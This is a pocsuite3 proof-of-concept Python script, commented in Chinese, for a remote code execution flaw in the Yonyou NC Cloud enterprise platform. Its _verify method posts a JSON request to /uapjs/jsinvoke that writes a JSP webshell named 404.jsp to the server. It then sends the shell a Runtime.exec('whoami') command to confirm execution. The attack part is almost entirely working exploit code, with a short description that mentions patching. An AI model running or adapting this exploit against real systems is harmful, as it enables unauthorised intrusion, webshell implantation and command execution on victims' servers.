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用友-NC-Cloud远程代码执行.py
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用友-NC-Cloud远程代码执行.py
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from collections import OrderedDict
from urllib.parse import urljoin
import re,random,hashlib,base64
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, OptString, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
class POC(POCBase):
vulID = '0' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0
version = '1' #默认为1
author = [''] # PoC作者的大名
vulDate = '2023-07-21' #漏洞公开的时间,不知道就写今天
createDate = '2023-07-21' # 编写 PoC 的日期
updateDate = '2023-07-21' # PoC 更新的时间,默认和编写时间一样
references = ['https://mp.weixin.qq.com/s/AdbzqcXkZ4GoQUI3J6Qeyw'] # 漏洞地址来源,0day不用写
name = '用友NC Cloud大型企业数字化平台前台文件上传漏洞' # PoC 名称
appPowerLink = 'www.yonyou.com' # 漏洞厂商主页地址
appName = '用友NC Cloud大型企业数字化平台' # 漏洞应用名称
appVersion = '''ALL''' # 漏洞影响版本
vulType = VUL_TYPE.COMMAND_EXECUTION #漏洞类型,类型参考见 漏洞类型规范表
desc = '''
用友NC Cloud大型企业数字化平台,深度应用新一代数字智能技术,完全基于云原生架构,打造开放、互联、融合、智能的一体化云平台,聚焦数智化管理、数智化经营、数智化商业等三大企业数智化转型战略方向,提供涵盖数字营销、财务共享、全球司库、智能制造、敏捷供应链、人才管理、智慧协同等18大解决方案,帮助大型企业全面落地数智化。
该远程代码执行漏洞可以通过特定接口上传文件,通过上传的webshell执行命令,目前全版本通杀
1.官方已经发布修复补丁,请进行升级。2.或者进行waf等安全部署拦截恶意字符
'''
# 漏洞简要描述
samples = [''] # 测试样列,就是用 PoC 测试成功的网站
install_requires = [''] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写
pocDesc = '''
检测:pocsuite -r .\poc++.py -u url(-f url.txt) --verify
'''
category = POC_CATEGORY.EXPLOITS.REMOTE
def _verify(self):
result = {}
path='/uapjs/jsinvoke?action=invoke'
url = self.url + path
headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
shell_text = '404.jsp'
data = {"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/"+shell_text+""]}
try:
resq = requests.post(url=url,json=data,headers=headers,verify=False)
if resq:
data = 'cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream())'
resq_cmd = requests.post(url=self.url+'/'+shell_text+'?error=bsh.Interpreter',data=data,headers=headers,verify=False)
if resq_cmd.status_code == 200 and "xml version='1.0'" in resq_cmd.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['echo'] = resq_cmd.text
except Exception as e:
return
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
def _shell(self):
return
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output
register_poc(POC)